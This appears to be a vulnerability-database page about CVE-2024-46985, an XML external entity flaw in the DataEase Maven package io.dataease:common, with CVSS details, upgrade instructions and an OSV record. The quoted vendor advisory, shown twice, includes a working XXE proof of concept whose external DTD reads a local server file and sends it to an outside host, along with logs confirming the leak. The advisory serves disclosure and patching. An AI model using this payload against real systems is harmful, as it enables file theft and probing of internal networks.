Vulnerabilities in pkg:maven/io.dataease/common

PACKAGE
Advisory Identifier: GHSA-4m9p-7xg6-f4mm
Advisory Summary

CVE-2024-46985 is a HIGH (CVSS 7.5) dataease has an xml external vulnerability (CWE-611: Improper Restriction of XML External Entity Reference) affecting Common libraries in the Maven ecosystem. The issue involves dataease has an xml external entity reference vulnerability. Remediation is available by upgrading affected packages to version 2.10.1.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/io.dataease/common

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/io.dataease/common. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-4m9p-7xg6-f4mm CVE-2024-46985 HIGH DataEase has an XML External Entity Reference vulnerability
GHSA-h7mj-m72h-qm8w CVE-2024-46997 CRITICAL DataEase's H2 datasource has a remote command execution risk

CVE-2024-46985 at a Glance

CVE Identifier CVE-2024-46985
GHSA Identifier GHSA-4m9p-7xg6-f4mm
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-611: Improper Restriction of XML External Entity Reference
Affected Product Common
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-46985

To remediate this vulnerability, upgrade all affected Common dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.dataease:common fixed: 2.10.1
<dependency>
    <groupId>io.dataease</groupId>
    <artifactId>common</artifactId>
    <version>2.10.1</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.dataease

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2024-46985, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.dataease

Analyze the terminal output to locate any version of Common in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.1), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.dataease command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-611: Improper Restriction of XML External Entity Reference, where the product processes an xml document that can contain xml entities with uris that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. In Common, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. 1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn ------WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a <?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'> %EvilDTD; %LoadOOBEnt; %OOB; ]> ------WebKitFormBoundary6OZBNygiUCAZEbMn-- // 1.dtd的内容 <!ENTITY % resource SYSTEM "file:///etc/alpine-release"> <!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>"> ``` 2. After sending the request, the content of the file /etc/alpine-release is successfully read ``` ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 - ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 - ``` Affected versions: <= 2.10.0 ### Patches The vulnerability has been fixed in v2.10.1. ### Workarounds It is recommended to upgrade the version to v2.10.1. ### References If you have any questions or comments about this advisory: Open an issue in https://github.com/dataease/dataease Email us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)

CVE-2024-46985 Affected Common Versions

1 component(s)
Fixed Versions:
2.10.1
Product / Package Ecosystem Affected Versions Fixed Version
io.dataease:common
Maven
< 2.10.1
2.10.1

References

Frequently Asked Questions

What is CVE-2024-46985?
CVE-2024-46985 is a security vulnerability in Common involving DataEase has an XML External Entity Reference vulnerability under CWE-611: Improper Restriction of XML External Entity Reference.
Which Common versions are affected?
Affected versions include releases prior to 2.10.1 across affected packages: io.dataease:common.
What version fixes CVE-2024-46985?
Upgrading to 2.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is common affected?
Yes, io.dataease:common is affected in releases prior to 2.10.1. Upgrade your dependency to 2.10.1 or later.
What is the CVSS score of CVE-2024-46985?
CVE-2024-46985 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2024-46985?
CVE-2024-46985 is classified under CWE-611: Improper Restriction of XML External Entity Reference (The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.).
How can I check Maven dependencies for CVE-2024-46985?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.dataease'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4m9p-7xg6-f4mm",
  "modified" : "2024-09-23T20:27:22Z",
  "published" : "2024-09-23T20:27:22Z",
  "aliases" : [ "CVE-2024-46985" ],
  "summary" : "DataEase has an XML External Entity Reference vulnerability",
  "details" : "### Impact\nThere is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.\n\n1. send request:\n```\nPOST /de2api/staticResource/upload/1 HTTP/1.1\nHost: dataease.ubuntu20.vm\nContent-Length: 348\nAccept: application/json, text/plain, */*\nout_auth_platform: default\nX-DE-TOKEN: jwt\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn\n\n------WebKitFormBoundary6OZBNygiUCAZEbMn\nContent-Disposition: form-data; name=\"file\"; filename=\"1.svg\"\nContent-Type: a\n\n<?xml version='1.0'?>\n    <!DOCTYPE xxe [\n        <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'>\n        %EvilDTD;\n        %LoadOOBEnt;\n        %OOB;\n    ]>\n------WebKitFormBoundary6OZBNygiUCAZEbMn--\n\n// 1.dtd的内容\n<!ENTITY % resource SYSTEM \"file:///etc/alpine-release\">\n        <!ENTITY % LoadOOBEnt \"<!ENTITY &#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>\">\n```\n\n2. After sending the request, the content of the file /etc/alpine-release is successfully read\n```\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /1.dtd HTTP/1.1\" 200 -\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /?content=3.20.0 HTTP/1.1\" 200 -\n```\n\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.dataease:common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.10.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.10.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dataease/dataease/security/advisories/GHSA-4m9p-7xg6-f4mm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-46985"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dataease/dataease"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-611" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-09-23T20:27:22Z",
    "nvd_published_at" : "2024-09-23T16:15:06Z"
  }
}